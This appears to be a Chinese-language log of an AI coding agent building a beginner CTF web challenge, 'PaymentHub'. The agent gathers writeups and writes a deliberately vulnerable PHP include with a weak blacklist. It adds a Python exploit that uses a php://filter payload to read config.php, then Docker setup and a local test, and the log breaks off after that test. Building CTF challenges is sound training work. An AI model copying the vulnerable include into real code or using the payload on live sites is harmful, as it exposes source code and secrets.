🤖 # 阶段1:用户输入需求 [2026-01-07 17:11:07] [STAGE] [Augment] 🎯 [阶段 0] 阶段 0 根据用户输入,确认需求如下: ``` 语言:PHP 难度:入门(最多1个漏洞) 漏洞:PHP伪协议 场景:支付平台 ``` --- # 阶段2:漏洞主次分类 [2026-01-07 17:11:07] [STAGE] [Augment] 🎯 [阶段 1] 阶段 1 **入门难度只允许1个漏洞,跳过此阶段** - 主漏洞:PHP伪协议(分配 5 篇 writeup) --- # 阶段3:知识库获取 [2026-01-07 17:11:07] [STAGE] [Augment] 🎯 [阶段 2] 阶段 2 ## 3.1 获取学习材料 使用 choice.py 从知识库获取相关 writeup: 🔧 Tool call: launch-process command: "python3 data/scripts/choice.py --difficulty=入门 --count=5 "PHP伪协议"" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 60 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: 📊 指定数量: 5 篇writeup 📁 分类 [PHP伪协议]: 找到 8/8 个有效writeup ✅ 分类 [PHP伪协议]: 从 8 个有效writeup中选择了 5 篇 ============================================================ 📚 最终汇总选出的 5 篇文章: - Candroid.md - Ez ⛳ v2.md - Include me.md - Lazy Dev.md - Phuck2 _(.md 🤖 现在读取这5篇 writeup 文件: 🔧 Tool call: view path: "data/writeups/Candroid.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Candroid.md: 1 ##### Table of Contents 2 \- [Web](#web) 3 \- [Agent 95](#agent95) 4 \- [Localghost](#localghost) 5 \- [Phphonebook](#phphonebook) 6 \- [Official Business](#official-business) 7 \- [Extraterrestrial](#extraterrestrial) 8 \- [Rejected Sequel](#rejected-sequel) 9 \- [Flag jokes](#flag-jokes) 10 \- [Scripting](#Scripting) 11 \- [Rotten](#Rotten) 12 \- [Miscellaneous](#Miscellaneous) 13 \- [Vortex](#Vortex) 14 \- [Fake File](#Fake-File) ... (636 more lines) 🔧 Tool call: view path: "data/writeups/Ez ⛳ v2.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Ez ⛳ v2.md: 1 ## The Challenge 2 3 ### Challenge Metadata 4 5 The challenge got 89 solves, and I personally got the blood on this challenge! 6 ? 7 8 Here is the challenge description: 9 10 > Caddy webserver is AWESOME, using a neat and compact syntax you can do a lot 11 > of powerful things, e.g. wanna know if your browser supports 12 > [HTTP3](https://http3.caddy.chal-kalmarc.tf/)? Or 13 > [TLS1.3](https://tls13.caddy.chal-kalmarc.tf/)? etc 14 > Flag is located at `GET /$(head -c 18 /dev/urandom | base64)` go fetch it. ... (86 more lines) 🔧 Tool call: view path: "data/writeups/Include me.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Include me.md: [2026-01-07 17:11:24] [INFO] [Augment] [已处理 100 行] 1 # Include me 2 ## Description 3 4 > Zero Dollar Security is hiring infosec enthusiast. Apply ASAP. Connect at 5 > chall.ctf-ehcon.ml:32104 6 7 ## Solution 8 9 This application just has register function 10 11 ![Register function](https://raw.githubusercontent.com/greybtw/write-up- 12 CTF_2021/master/eHaCON%20CTF%202K21/img/Include%20me/register.png) 13 14 Use Burp Suite to intercept the request. ... (108 more lines) 🔧 Tool call: view path: "data/writeups/Lazy Dev.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Lazy Dev.md: 1 ## Lazy dev - Web challenge (400 points) 2 3 The final web challenge with a link: http://fun.ritsec.club:8007. Hmm it takes 4 us back to *The tangled web* challenge. 5 At first, I was thinking that it was a mistake, but after reviewing all pages 6 I crawled, I saw a comment which lead us further. 7 Comment was found in http://fun.ritsec.club:8007/Stars.html and it goes like 8 this: 9 10 ``` 11 12 13 ``` 14 So I went to http://fun.ritsec.club:8007/devsrule.php and I am welcomed with: ... (28 more lines) 🔧 Tool call: view path: "data/writeups/Phuck2 _(.md" 📋 Tool result: view Here's the result of running `cat -n` on data/writeups/Phuck2 _(.md: 1 ```php 2 “127001” gibi) 3 4 \--- 5 ```php 6 $mkdir($userFolder); 7 chdir($userFolder); 8 file_put_contents('profile',print_r($_SERVER,true)); 9 chdir('..'); 10 ``` 11 ``$userFolder`` değeri ile klasör açar ve o klasörün içine ``profile`` adlı 12 dosyaya [``$_SERVER`` 13 arrayinin](http://php.net/manual/tr/reserved.variables.server.php) içeriğini 14 yazar. ... (75 more lines) 🤖 # 阶段4:知识整理 [2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 3] 阶段 3 ## 可借鉴技巧清单 | 技巧 | 来源 | 代码片段 | 适用场景 | |------|------|---------|---------| | php://filter 读取文件 | Candroid.md (Phphonebook) | `php://filter/convert.base64-encode/resource=phphonebook.php` | PHP文件包含漏洞,读取源码 | | php://input 执行代码 | Lazy Dev.md | `POST /?magic=php://input` + `` | PHP文件包含转RCE | | data:// 伪协议绕过 | Phuck2.md | `data:,xx/profile` 配合 `X-Forwarded-For: data:,xx` | 绕过文件包含检查 | | XXE读取文件 | Include me.md | `` | XML解析场景 | | iframe LFI | Include me.md | `` | HTML注入读取文件 | | extract() 变量覆盖 | Candroid.md (Phphonebook) | `extract($_POST);` 导致 `$emergency` 变量被注入 | PHP变量覆盖漏洞 | --- # 阶段5:题目设计 [2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 4] 阶段 4 ## 5.1 设计目标 - **差异度**:入门 ≥20% - **深度**:入门 1.5-4.0 - **趣味性**:入门 0-1 个啊哈时刻 ## 5.2 利用链设计 | 步骤 | 类型 | 技术点 | 深度 | 知识来源 | |------|------|--------|------|---------| | Step 1 | 信息收集 | 发现订单查询功能 | 1.5/10 | 新设计 | | Step 2 | 漏洞利用 | php://filter读取支付配置文件 | 3.5/10 | Candroid.md | | Step 3 | 获取flag | 从配置文件中提取flag | 1.0/10 | 新设计 | **平均深度**:(1.5 + 3.5 + 1.0) / 3 = 2.0/10 ✅ 符合入门要求 **啊哈时刻**:发现可以用php://filter读取任意文件(1个) ## 5.3 核心代码预写 ### 漏洞触发代码(真实代码) ❌ 安全写法(不能触发): ```php $allowed_files = ['order.php', 'status.php']; [2026-01-07 17:12:07] [INFO] [Augment] [已处理 200 行] if (in_array($_GET['page'], $allowed_files)) { include($_GET['page']); } ``` ✅ 漏洞写法(能触发): ```php $page = str_replace(['../', '\\'], '', $_GET['page']); if (strpos($page, '.php') !== false) { include($page); } ``` ### exp 核心代码(真实代码) ```python import requests import base64 import re url = "http://localhost:42555" payload = "php://filter/convert.base64-encode/resource=config.php" r = requests.get(f"{url}/index.php?page={payload}") flag = re.findall(r'DASCTF\{[^}]+\}', base64.b64decode(re.findall(r'[A-Za-z0-9+/=]{40,}', r.text)[0]).decode())[0] print(flag) ``` ### 依赖清单 - 无需额外依赖(使用PHP内置功能) ## 5.3.1 代码可运行性自检 1. **导入完整吗?** ✅ PHP无需导入,Python使用标准库 2. **路由正确吗?** ✅ `/index.php?page=xxx` 3. **参数名一致吗?** ✅ 都使用 `page` 参数 4. **响应格式对吗?** ✅ exp期望HTML响应中包含base64编码的内容 ## 5.4 简易 exp 草稿(用于 Docker 测试) ```python import requests import base64 import re url = "http://localhost:42555" payload = "php://filter/convert.base64-encode/resource=config.php" r = requests.get(f"{url}/index.php?page={payload}") base64_pattern = r'[A-Za-z0-9+/=]{40,}' matches = re.findall(base64_pattern, r.text) if matches: decoded = base64.b64decode(matches[0]).decode() flag_match = re.findall(r'DASCTF\{[^}]+\}', decoded) if flag_match: print(flag_match[0]) ``` ## 5.5 设计摘要 ``` ### 设计摘要 - 题目名称:PaymentHub - 利用链:访问订单查询 -> 使用php://filter读取config.php -> 提取flag - 黑名单:../ 和 \(但不影响php://filter) - 关键 payload:php://filter/convert.base64-encode/resource=config.php - 容器端口:42555 ``` --- # 阶段6:质量检查 [2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 5] 阶段 5 ### 检查清单 - [x] **深度达标**:平均深度 2.0/10,最高深度 3.5/10 ✅ 符合入门要求(1.5-4.0) - [x] **漏洞覆盖**:PHP伪协议在利用链中 ✅ - [x] **代码可行**:核心代码使用真实PHP语法,能正常运行 ✅ - [x] **payload 兼容**:黑名单只过滤 `../` 和 `\`,不影响 `php://filter` ✅ **检查通过,进入代码生成阶段** --- # 阶段7:代码生成 [2026-01-07 17:12:07] [STAGE] [Augment] 🎯 [阶段 6] 阶段 6 ## 7.1 生成原则确认 1. **完整性**:包含订单查询、支付状态查询功能 2. **零注释**:代码中无任何注释 3. **真实性**:模拟真实支付平台业务 4. **隐蔽性**:文件包含漏洞隐藏在页面路由中 5. **不提供源码**:可以硬编码配置信息 ## 7.2 增量生成 ### 步骤1:后端代码 🔧 Tool call: launch-process command: "mkdir -p "output/$(date +%Y%m%d_%H%M%S)_PaymentHub/docker/web/src"" [2026-01-07 17:12:07] [INFO] [Augment] [已处理 300 行] cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" wait: true max_wait_seconds: 10 📋 Tool result: launch-process ✅ Command completed successfully (No output) 🔧 Tool call: launch-process command: "ls -la output/ | tail -1 | awk '{print $NF}'" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: writeup.md 🔧 Tool call: launch-process command: "find output -type d -name "*PaymentHub" | head -1" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: output/20260107_171207_PaymentHub 🤖 好的,目录已创建:`output/20260107_171207_PaymentHub` 现在开始生成后端代码: 🔧 Tool call: save-file instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_171207_PaymentHub/docker/web/src/index.php" file_content: " PaymentHub - 专业支付平台 ... (120 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/index.php} 🤖 继续生成其他PHP文件: 🔧 Tool call: save-file file_content: "'; echo ''; echo '
'; echo ''; echo ''; echo '
'; echo ''; echo ''; } else { $order_id = htmlspecialchars($_GET['order_id']); echo '
'; echo '

订单信息

'; echo '

订单号:' . $order_id . '

'; ... (9 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/order.php} 🔧 Tool call: save-file file_content: "'; echo '

支付状态查询

'; echo '

当前系统运行正常

'; echo '

支付通道:微信支付、支付宝、银联

'; echo '

系统版本:v2.1.5

'; echo '
'; ?> " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_171207_PaymentHub/docker/web/src/status.php" 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/status.php} 🤖 继续生成配置文件(包含flag): 🔧 Tool call: save-file [2026-01-07 17:13:02] [INFO] [Augment] [已处理 400 行] file_content: " 'localhost', 'db_user' => 'payment_user', 'db_pass' => 'P@yment2024!Secure', 'db_name' => 'payment_db', 'api_key' => 'sk_live_51HxYz2KqP9mN8vL3cR4tF6wE', 'api_secret' => 'whsec_7Jk9mN2pQ5rT8vX3cF6yH4bL', 'merchant_id' => 'MCH20240115', 'flag' => getenv('DASFLAG'), 'debug' => false ); ?> " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." ... (1 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/src/config.php} 🤖 好的,继续生成 Dockerfile: 🔧 Tool call: save-file instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_171207_PaymentHub/docker/web/Dockerfile" file_content: "FROM php:7.4-apache ENV DASFLAG=DASCTF{test12345} RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \ sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && \ apt-get update && \ apt-get install -y --no-install-recommends \ && rm -rf /var/lib/apt/lists/* COPY src/ /var/www/html/ COPY files/flag.sh /flag.sh COPY files/start.sh /start.sh ... (9 more lines) 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/Dockerfile} 🤖 继续生成 docker-compose.yml: 🔧 Tool call: save-file file_content: "version: '3' services: web: build: ./web container_name: paymenthub_web ports: - "42555:80" restart: unless-stopped " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_171207_PaymentHub/docker/docker-compose.yml" 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/docker-compose.yml} 🤖 继续生成 files 目录下的文件: 🔧 Tool call: launch-process command: "mkdir -p output/20260107_171207_PaymentHub/docker/web/files" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 10 wait: true 📋 Tool result: launch-process ✅ Command completed successfully (No output) 🤖 好的,继续生成 flag.sh: 🔧 Tool call: save-file file_content: "#!/bin/bash echo $DASFLAG > /flag.txt export DASFLAG=nonono rm -f /flag.sh " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_171207_PaymentHub/docker/web/files/flag.sh" 📋 Tool result: save-file File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/files/flag.sh} 🤖 继续生成 start.sh: 🔧 Tool call: save-file file_content: "#!/bin/bash /flag.sh apache2-foreground " instructions_reminder: "LIMIT THE FILE CONTENT TO AT MOST 150 LINES. IF MORE CONTENT NEEDS TO BE ADDED USE THE str-replace-editor TOOL TO EDIT THE FILE AFTER IT HAS BEEN CREATED." path: "output/20260107_171207_PaymentHub/docker/web/files/start.sh" 📋 Tool result: save-file [2026-01-07 17:13:32] [INFO] [Augment] [已处理 500 行] File saved. Saved file {/Users/yu22x/Desktop/ge/ctf/ge10/web/output/20260107_171207_PaymentHub/docker/web/files/start.sh} 🤖 好的,现在验证设计-实现一致性: ### 7.5 设计-实现一致性验证 - [x] 每个设计步骤都有对应的代码实现 - Step 1: 订单查询功能 → order.php ✅ - Step 2: php://filter读取config.php → index.php中的include漏洞 ✅ - Step 3: 提取flag → config.php中存储flag ✅ - [x] 漏洞触发点使用的是"漏洞写法" ✅ - index.php 第4-5行使用了不安全的过滤和include - [x] 路由路径、参数名与阶段5设计一致 ✅ - 使用 `?page=` 参数 - 支持 `.php` 文件包含 --- # 阶段8:Docker 构建与测试 [2026-01-07 17:13:43] [STAGE] [Augment] 🎯 [阶段 7] 阶段 7 ## 8.1 分层验证 ### 第1层:容器启动 🔧 Tool call: launch-process command: "cd output/20260107_171207_PaymentHub/docker && docker-compose -p ctf_paymenthub down 2>/dev/null; docker-compose -p ctf_paymenthub up -d --build" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 120 wait: true 📋 Tool result: launch-process ❌ Error: Command failed with exit code 1 📤 Output: #1 [internal] load build definition from Dockerfile #1 transferring dockerfile: 594B done #1 DONE 0.0s #2 [internal] load .dockerignore #2 transferring context: 2B done #2 DONE 0.0s #3 [internal] load metadata for docker.io/library/php:7.4-apache #3 DONE 1.5s #4 [1/6] FROM docker.io/library/php:7.4-apache@sha256:c9d7e608f73832673479770d66aacc8100011ec751d1905ff63fae3fe2e0ca6d #4 CACHED #5 [internal] load build context #5 transferring context: 5.35kB done #5 DONE 0.0s #6 [2/6] RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list && apt-get update && apt-get install -y --no-install-recommends && rm -rf /var/lib/apt/lists/* #6 0.841 Get:1 http://mirrors.aliyun.com/debian bullseye InRelease [75.1 kB] #6 0.962 Get:2 http://mirrors.aliyun.com/debian-security bullseye-security InRelease [27.2 kB] #6 1.055 Get:3 http://mirrors.aliyun.com/debian bullseye-updates InRelease [44.0 kB] #6 1.173 Get:4 http://mirrors.aliyun.com/debian bullseye/main arm64 Packages [7955 kB] #6 1.890 Get:5 http://mirrors.aliyun.com/debian-security bullseye-security/main arm64 Packages [434 kB] #6 1.936 Get:6 http://mirrors.aliyun.com/debian bullseye-updates/main arm64 Packages [16.3 kB] #6 2.877 Fetched 8551 kB in 3s (3354 kB/s) #6 2.877 Reading package lists... #6 3.283 Reading package lists... #6 3.641 Building dependency tree... #6 3.743 Reading state information... #6 3.834 0 upgraded, 0 newly installed, 0 to remove and 73 not upgraded. #6 DONE 3.9s #7 [3/6] COPY src/ /var/www/html/ #7 DONE 0.0s #8 [4/6] COPY files/flag.sh /flag.sh #8 DONE 0.0s #9 [5/6] COPY files/start.sh /start.sh #9 DONE 0.0s #10 [6/6] RUN chmod +x /flag.sh /start.sh && chown -R www-data:www-data /var/www/html && chmod -R 755 /var/www/html #10 DONE 0.2s #11 exporting to image #11 exporting layers 0.1s done #11 writing image sha256:11a64c38ee3ef4a6836488ba17a93aade9b5e08b03b00a2217fa130c6a2ab588 done #11 naming to docker.io/library/ctf_paymenthub-web done #11 DONE 0.1s Use 'docker scan' to run Snyk tests against images to find vulnerabilities and learn how to fix them Network ctf_paymenthub_default Creating Network ctf_paymenthub_default Created Container paymenthub_web Creating Error response from daemon: Conflict. The container name "/paymenthub_web" is already in use by container "9772c00739136451d972bc91b4a7c25bd1d33af16a5a473187d28a0a2c67d821". You have to remove (or rename) that container to be able to reuse that name. 🤖 需要先清理旧容器,让我修复这个问题: 🔧 Tool call: launch-process command: "docker rm -f paymenthub_web 2>/dev/null || true" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 30 [2026-01-07 17:13:58] [INFO] [Augment] [已处理 600 行] wait: true 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: paymenthub_web 🤖 好的,现在重新启动容器: 🔧 Tool call: launch-process command: "cd output/20260107_171207_PaymentHub/docker && docker-compose -p ctf_paymenthub up -d" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 60 wait: true 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: Container paymenthub_web Creating Container paymenthub_web Created Container paymenthub_web Starting Container paymenthub_web Started 🤖 好的,容器启动成功!继续进行测试。 ### 第2层:服务可用测试 🔧 Tool call: launch-process command: "sleep 3 && curl -s http://localhost:42555/ | head -20" cwd: "/Users/yu22x/Desktop/ge/ctf/ge10/web" max_wait_seconds: 30 wait: true 📋 Tool result: launch-process ✅ Command completed successfully 📤 Output: PaymentHub - 专业支付平台